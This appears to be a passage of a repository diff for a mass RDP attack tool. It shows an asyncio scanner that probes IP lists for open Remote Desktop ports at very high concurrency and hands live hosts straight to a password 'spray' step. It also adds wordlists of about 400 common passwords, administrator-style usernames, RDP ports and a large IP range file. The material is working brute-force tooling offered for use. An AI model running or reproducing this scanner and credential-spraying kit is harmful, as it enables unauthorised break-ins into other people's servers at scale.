|
||||
)
|
||||
try:
|
||||
data = await asyncio.wait_for(
|
||||
reader.read(4),
|
||||
timeout=banner_timeout
|
||||
)
|
||||
is_rdp = data[:2] == RDP_BANNER_SIG # TPKT header
|
||||
return (ip, port, is_rdp)
|
||||
except (asyncio.TimeoutError, ConnectionError, OSError):
|
||||
# Connected but no banner = port open but not RDP
|
||||
return (ip, port, False)
|
||||
finally:
|
||||
writer.close()
|
||||
await writer.wait_closed()
|
||||
except (asyncio.TimeoutError, ConnectionRefusedError,
|
||||
OSError, ConnectionError):
|
||||
return (ip, port, False)
|
||||
|
||||
|
||||
async def scan_ips(
|
||||
ips: List[str],
|
||||
ports: List[int] = None, # type: ignore
|
||||
max_concurrent: int = 5000,
|
||||
connect_timeout: float = 2.0,
|
||||
banner_check: bool = False,
|
||||
progress_callback=None,
|
||||
live_callback=None
|
||||
) -> Set[Tuple[str, int]]:
|
||||
"""
|
||||
Scan a list of IPs across given ports as fast as possible.
|
||||
Uses asyncio semaphore to control concurrency.
|
||||
|
||||
- progress_callback(checked, total, live_count, rate): called periodically
|
||||
- live_callback(ip, port): called IMMEDIATELY when a live host is found
|
||||
|
||||
Returns set of (ip, port) tuples for live RDP hosts.
|
||||
"""
|
||||
if ports is None:
|
||||
ports = RDP_PORTS
|
||||
|
||||
sem = asyncio.Semaphore(max_concurrent)
|
||||
live_hosts: Set[Tuple[str, int]] = set()
|
||||
checked = 0
|
||||
total = len(ips) * len(ports)
|
||||
start_time = time.time()
|
||||
|
||||
checker = check_rdp_with_banner if banner_check else check_rdp_port
|
||||
|
||||
async def check_one(ip: str, port: int):
|
||||
nonlocal checked
|
||||
async with sem:
|
||||
_, p, alive = await checker(ip, port, connect_timeout)
|
||||
if alive:
|
||||
live_hosts.add((ip, p))
|
||||
# Notify immediately — spray can start right away
|
||||
if live_callback:
|
||||
live_callback(ip, p)
|
||||
checked += 1
|
||||
if progress_callback and checked % 1000 == 0:
|
||||
elapsed = time.time() - start_time
|
||||
rate = checked / elapsed if elapsed > 0 else 0
|
||||
progress_callback(checked, total, len(live_hosts), rate)
|
||||
|
||||
# Fire all tasks concurrently
|
||||
tasks = []
|
||||
for ip in ips:
|
||||
for port in ports:
|
||||
tasks.append(asyncio.create_task(check_one(ip, port)))
|
||||
|
||||
# Run in batches to avoid memory issues with massive task lists
|
||||
batch_size = 50000
|
||||
for i in range(0, len(tasks), batch_size):
|
||||
batch = tasks[i:i + batch_size]
|
||||
if batch:
|
||||
await asyncio.gather(*batch, return_exceptions=True)
|
||||
|
||||
elapsed = time.time() - start_time
|
||||
rate = checked / elapsed if elapsed > 0 else 0
|
||||
logger.info(
|
||||
f"Scan complete: {len(live_hosts)} live hosts from {checked} checks "
|
||||
f"in {elapsed:.1f}s ({rate:.0f} checks/sec)"
|
||||
)
|
||||
|
||||
return live_hosts
|
||||
415
wordlists/passwords.txt
Normal file
415
wordlists/passwords.txt
Normal file
@@ -0,0 +1,415 @@
|
||||
admin
|
||||
Admin
|
||||
password
|
||||
Password
|
||||
administrator
|
||||
Administrator
|
||||
p@ssw0rd
|
||||
P@ssw0rd
|
||||
passwor1
|
||||
password
|
||||
password!
|
||||
password.
|
||||
password00
|
||||
password01
|
||||
Password01!
|
||||
password1
|
||||
password101
|
||||
password11
|
||||
password12
|
||||
PASSWORD123
|
||||
password1234
|
||||
password12345
|
||||
password12345678
|
||||
password123456789
|
||||
password13
|
||||
password2
|
||||
password3
|
||||
password5
|
||||
password7
|
||||
password77
|
||||
password888
|
||||
password9
|
||||
password99
|
||||
passwords
|
||||
passwort
|
||||
passwort123
|
||||
911
|
||||
qwerty
|
||||
qweqwe
|
||||
qweasd
|
||||
qwezxc
|
||||
qweasdzxc
|
||||
qwertyuiop
|
||||
asdfghjkl
|
||||
zxcvbnm
|
||||
1
|
||||
12
|
||||
123
|
||||
1234
|
||||
12345
|
||||
123456
|
||||
1234567
|
||||
12345678
|
||||
123456789
|
||||
1234567890
|
||||
0
|
||||
01
|
||||
012
|
||||
0123
|
||||
01234
|
||||
012345
|
||||
0123456
|
||||
01234567
|
||||
012345678
|
||||
0123456789
|
||||
9
|
||||
98
|
||||
987
|
||||
9876
|
||||
98765
|
||||
987654
|
||||
9876543
|
||||
98765432
|
||||
987654321
|
||||
9876543210
|
||||
10
|
||||
210
|
||||
3210
|
||||
43210
|
||||
543210
|
||||
6543210
|
||||
76543210
|
||||
876543210
|
||||
21
|
||||
321
|
||||
4321
|
||||
54321
|
||||
654321
|
||||
7654321
|
||||
87654321
|
||||
987654321
|
||||
00
|
||||
000
|
||||
0000
|
||||
00000
|
||||
000000
|
||||
0000000
|
||||
00000000
|
||||
000000000
|
||||
11
|
||||
111
|
||||
1111
|
||||
11111
|
||||
111111
|
||||
1111111
|
||||
11111111
|
||||
111111111
|
||||
2
|
||||
22
|
||||
222
|
||||
2222
|
||||
22222
|
||||
222222
|
||||
2222222
|
||||
22222222
|
||||
222222222
|
||||
3
|
||||
33
|
||||
333
|
||||
3333
|
||||
33333
|
||||
333333
|
||||
3333333
|
||||
33333333
|
||||
333333333
|
||||
4
|
||||
44
|
||||
444
|
||||
4444
|
||||
44444
|
||||
444444
|
||||
4444444
|
||||
44444444
|
||||
444444444
|
||||
5
|
||||
55
|
||||
555
|
||||
5555
|
||||
55555
|
||||
555555
|
||||
5555555
|
||||
55555555
|
||||
555555555
|
||||
6
|
||||
66
|
||||
666
|
||||
6666
|
||||
66666
|
||||
666666
|
||||
6666666
|
||||
66666666
|
||||
666666666
|
||||
7
|
||||
77
|
||||
777
|
||||
7777
|
||||
77777
|
||||
777777
|
||||
7777777
|
||||
77777777
|
||||
777777777
|
||||
8
|
||||
88
|
||||
888
|
||||
8888
|
||||
88888
|
||||
888888
|
||||
8888888
|
||||
88888888
|
||||
888888888
|
||||
99
|
||||
999
|
||||
9999
|
||||
99999
|
||||
999999
|
||||
9999999
|
||||
99999999
|
||||
999999999
|
||||
P@ssw0rd
|
||||
p@ss
|
||||
p@ssw0rd
|
||||
P@ss
|
||||
P@$$w0rd
|
||||
Passw0rd
|
||||
passport
|
||||
passw0rd
|
||||
passw0rd1
|
||||
passwd
|
||||
passwor1
|
||||
password
|
||||
password!
|
||||
password.
|
||||
password00
|
||||
password01
|
||||
Password01!
|
||||
password1
|
||||
password101
|
||||
password11
|
||||
password12
|
||||
PASSWORD123
|
||||
password1234
|
||||
password12345
|
||||
password12345678
|
||||
password123456789
|
||||
password13
|
||||
password2
|
||||
password3
|
||||
password5
|
||||
password7
|
||||
password77
|
||||
password888
|
||||
password9
|
||||
password99
|
||||
passwords
|
||||
passwort
|
||||
passwort123
|
||||
admin1
|
||||
admin12
|
||||
admin123
|
||||
admin123123
|
||||
admin1234
|
||||
administrador
|
||||
administrator
|
||||
Administrator1
|
||||
Administrator12
|
||||
Administrator123
|
||||
Administrator1234
|
||||
1
|
||||
12
|
||||
123
|
||||
1234
|
||||
4321
|
||||
12345
|
||||
54321
|
||||
123123
|
||||
123456
|
||||
1234567
|
||||
12341234
|
||||
12345678
|
||||
123456789
|
||||
1234567890
|
||||
123456789a
|
||||
12345678a
|
||||
1234567a
|
||||
123456a
|
||||
12345a
|
||||
123abc
|
||||
123asd
|
||||
123qwerty
|
||||
1q2w3e
|
||||
1q2w3e4r
|
||||
1q2w3e4r5
|
||||
1q2w3e4r5t6y
|
||||
1qaz2wsx
|
||||
1qaz2wsx3edc
|
||||
a12345
|
||||
a123456
|
||||
a1234567
|
||||
a12345678
|
||||
a123456789
|
||||
a1b2c3
|
||||
abc123
|
||||
abcd
|
||||
abcd123
|
||||
abcde
|
||||
abcde1
|
||||
abcdef
|
||||
access
|
||||
alpha
|
||||
alpha1
|
||||
andrew
|
||||
apple
|
||||
asd123
|
||||
asdfghjkl
|
||||
ash123
|
||||
asshole
|
||||
auxiliar
|
||||
avlmf
|
||||
baseball
|
||||
baseball1
|
||||
batman1
|
||||
bear
|
||||
buster
|
||||
byteme
|
||||
c220
|
||||
caixa
|
||||
canada
|
||||
canon
|
||||
carmen
|
||||
charly
|
||||
chelsea
|
||||
chicago
|
||||
christian
|
||||
compras
|
||||
computer
|
||||
Daniel
|
||||
deadhead
|
||||
default
|
||||
disney
|
||||
donald
|
||||
drag0n
|
||||
dragon
|
||||
dreams
|
||||
eagle
|
||||
family
|
||||
fax
|
||||
financeiro
|
||||
football1
|
||||
go
|
||||
goat
|
||||
harley
|
||||
hello
|
||||
hockey
|
||||
home
|
||||
house
|
||||
hunter
|
||||
internet
|
||||
jordan
|
||||
jose
|
||||
jupiter
|
||||
killer
|
||||
leagueoflegends1
|
||||
letmein
|
||||
londra
|
||||
maddog
|
||||
maggie
|
||||
magic
|
||||
manager
|
||||
master
|
||||
master1
|
||||
matrix
|
||||
me
|
||||
michael
|
||||
michelle
|
||||
mickey
|
||||
mike
|
||||
mindy
|
||||
money
|
||||
monitor
|
||||
mountain
|
||||
mustang
|
||||
nb
|
||||
newpass
|
||||
newyork
|
||||
nothing
|
||||
P@ssw0rd
|
||||
p0kem0n
|
||||
paris
|
||||
pass
|
||||
passpass
|
||||
pat
|
||||
patrick
|
||||
pentium
|
||||
pepper
|
||||
phoenix
|
||||
please
|
||||
pokem0n
|
||||
pokemon1
|
||||
pokemon2
|
||||
power
|
||||
printer
|
||||
prueba
|
||||
q1w2e3r4
|
||||
qwe123
|
||||
qwerty
|
||||
qwertyuiop
|
||||
ranger
|
||||
reality
|
||||
reception
|
||||
remote
|
||||
remoto
|
||||
robotech
|
||||
rocky
|
||||
sander
|
||||
scanner
|
||||
scans
|
||||
scanuser
|
||||
secret
|
||||
security
|
||||
server
|
||||
service
|
||||
servidor
|
||||
shadow
|
||||
shithead
|
||||
singer
|
||||
sistema
|
||||
snoopy
|
||||
spam
|
||||
spiderman1
|
||||
stupid
|
||||
summer
|
||||
superman1
|
||||
support
|
||||
system
|
||||
tech
|
||||
temp
|
||||
tennis
|
||||
test
|
||||
test123
|
||||
teste
|
||||
tigger
|
||||
topgun
|
||||
trustno1
|
||||
user
|
||||
usuario
|
||||
usuario1
|
||||
usuario2
|
||||
welcome
|
||||
xsw21qaz
|
||||
xsw2zaq1
|
||||
xxx
|
||||
ytrewq
|
||||
zaq12wsx
|
||||
zxasqw12
|
||||
zxcvbnm
|
||||
3
wordlists/ports.txt
Normal file
3
wordlists/ports.txt
Normal file
@@ -0,0 +1,3 @@
|
||||
3389
|
||||
3390
|
||||
3391
|
||||
28802
wordlists/ranges.txt
Normal file
28802
wordlists/ranges.txt
Normal file
File diff suppressed because it is too large
Load Diff
5
wordlists/users.txt
Normal file
5
wordlists/users.txt
Normal file
@@ -0,0 +1,5 @@
|
||||
Administrator
|
||||
Admin
|
||||
User
|
||||
User1
|
||||
GhostUser
|
||||
Reference in New Issue
Block a user